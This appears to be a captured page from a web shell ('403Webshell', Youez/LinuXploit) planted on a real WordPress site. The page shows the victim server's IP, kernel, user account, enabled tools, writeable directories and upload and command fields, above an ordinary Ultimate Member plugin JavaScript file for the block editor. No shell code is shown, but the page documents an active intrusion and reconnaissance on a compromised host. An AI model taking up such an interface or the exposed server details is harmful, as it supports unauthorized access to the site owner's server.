403Webshell
Server IP : 170.10.161.225  /  Your IP : 216.73.217.54
Web Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : ON
Directory :  /home/www/calvetrealty.com/wp-content/plugins/ultimate-member/assets/js/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/www/calvetrealty.com/wp-content/plugins/ultimate-member/assets/js/admin/block-renderer.js
jQuery(window).on( 'load', function($) {
	var observer = new MutationObserver(function(mutations) {
		mutations.forEach(function(mutation) {
			jQuery(mutation.addedNodes).find('.um.um-directory').each(function() {
				jQuery('.um-directory button').attr('disabled', 'disabled');
				jQuery('.um-directory a').attr('href', '');

				if ( typeof( jQuery.fn.select2 ) === 'function' ) {
					jQuery(".um-s1").each( function( e ) {
						var obj = jQuery(this);
						obj.select2({
							allowClear: true,
							dropdownParent: obj.parent()
						}).on( 'change', unselectEmptyOption );
					} );

					jQuery(".um-s2").each( function( e ) {
						var obj = jQuery(this);

						// fix https://github.com/ultimatemember/ultimatemember/issues/941
						// using .um-custom-shortcode-tab class as temporarily solution
						var atts = {};
						if ( obj.parents('.um-custom-shortcode-tab').length ) {
							atts = {
								allowClear: false
							};
						} else {
							atts = {
								allowClear: false,
								minimumResultsForSearch: 10,
								dropdownParent: obj.parent()
							};
						}
						obj.select2( atts ).on( 'change', unselectEmptyOption );
					} );

					jQuery(".um-s3").each( function( e ) {
						var obj = jQuery(this);

						obj.select2({
							allowClear: false,
							minimumResultsForSearch: -1,
							dropdownParent: obj.parent()
						}).on( 'change', unselectEmptyOption );
					} );
				}
			});
			jQuery(mutation.addedNodes).find('.um.um-profile').each(function() {
				jQuery('.um-profile input, .um-profile select, .um-profile button').attr('disabled', 'disabled');
				jQuery('.um-profile a').attr('href', '');
			});
			jQuery(mutation.addedNodes).find('.um.um-account').each(function() {
				jQuery('.um-account input, .um-account select, .um-account button').attr('disabled', 'disabled');
				jQuery('.um-account a').attr('href', '');
			});
			jQuery(mutation.addedNodes).find('.um.um-password').each(function() {
				jQuery('.um-password input, .um-password select, .um-password button').attr('disabled', 'disabled');
				jQuery('.um-password a').attr('href', '');
			});
		});
	});

	observer.observe(document, {attributes: false, childList: true, characterData: false, subtree:true});

});

function unselectEmptyOption( e ) {
	var $element = jQuery( e.currentTarget );
	var $selected = $element.find(':selected');

	if ( $selected.length > 1 ) {
		$selected.each( function ( i, option ) {
			if ( option.value === '' ) {
				option.selected = false;
				$element.trigger( 'change' );
			}
		});
	}
}``

Youez - 2016 - github.com/yon3zu
LinuXploit